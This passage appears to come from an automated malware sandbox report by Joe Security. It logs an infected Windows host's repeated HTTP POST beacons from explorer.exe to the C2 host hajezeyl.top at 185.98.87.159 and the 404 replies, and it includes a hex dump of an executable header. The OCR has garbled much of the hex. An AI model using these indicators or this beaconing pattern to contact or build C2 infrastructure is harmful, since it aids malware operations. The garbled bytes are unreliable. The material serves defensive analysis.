00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CtwCtwCtw,ntw,atw,<twJDtwCtv<tw,Btw,Btw,Bt
WRichCtwPEL)R_pP@xP@w?w00(@.text ".dataio@.vitoOw@.rsrc?@w@ @@ .reloc"w$@B

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://iyxlcdj.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 274

Host: hajezeyl.top
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kBytes
Timestamp transferred

Oct 29, 2021 8128
20:30:05.210537910 CEST

Session ID Source IP
38 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 8129

20:30:05.370523930 CEST

Oct 29, 2021 8130
20:30:05.453484058 CEST

Session ID Source IP
39 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 8130

20:30:06.196230888 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49797

Direction

ouT

Source Port
49798

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:30:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ayllaycsn.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 183

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:30:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htmI|>0

Destination IP Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xcwoodah.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 317

Host: hajezeyl.top
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kBytes
Timestamp transferred

Oct 29, 2021 8131
20:30:06.276673079 CEST

Session ID Source IP
4 192.168.2.7

kBytes
Timestamp transferred
Session ID Source IP
40 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 8132

20:30:06.499706984 CEST

Oct 29, 2021 8133
20:30:06.580986977 CEST

Session ID Source IP
41 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 8134

20:30:06.884872913 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49795

Direction

Source Port

49799

Direction

ouT

Source Port
49800

Direction

ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:30:06 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 4170 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

162.159.135.233 443 C:\Users\user\AppData\Local\Temp\B82B.exe

Data

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://vtikrwbu.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 227

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:30:06 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d 0a 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html|><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htm|>0

Destination IP Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ohksryibbc.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 333

Host: hajezeyl.top
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kBytes
Timestamp transferred

Oct 29, 2021 8135
20:30:06.969758034 CEST

Session ID Source IP
42 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 8136

20:30:09.149390936 CEST

Oct 29, 2021 8137
20:30:09.230803013 CEST

Session ID Source IP
43 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 8138

20:30:09.369517088 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49801

Direction

ouT

Source Port
49802

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:30:06 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 4170 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://aandk.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 237

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:30:09 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htmI|>0

Destination IP Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://sbvoxgf.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 167

Host: hajezeyl.top

Page 47 of 130



kBytes
Timestamp transferred

Oct 29, 2021 8138
20:30:09.447693110 CEST

Session ID Source IP
44 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 8140

20:30:09.592612982 CEST

Oct 29, 2021 8141
20:30:09.674103022 CEST

Session ID Source IP
45 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 8141

20:30:09.799340010 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49803

Direction

ouT

Source Port
49804

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:30:09 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 4170 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ghsdwx.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 309

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:30:09 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htmI|>0

Destination IP Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://akpvscwiwg.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 322

Host: hajezeyl.top
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kBytes
Timestamp transferred

Oct 29, 2021 8142
20:30:09.878878117 CEST

Session ID Source IP
46 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 8143

20:30:10.025470972 CEST

Oct 29, 2021 8144
20:30:10.105526924 CEST

Session ID Source IP
47 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 8145

20:30:10.390211105 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49805

Direction

ouT

Source Port
49806

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:30:09 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
220 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></html|>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

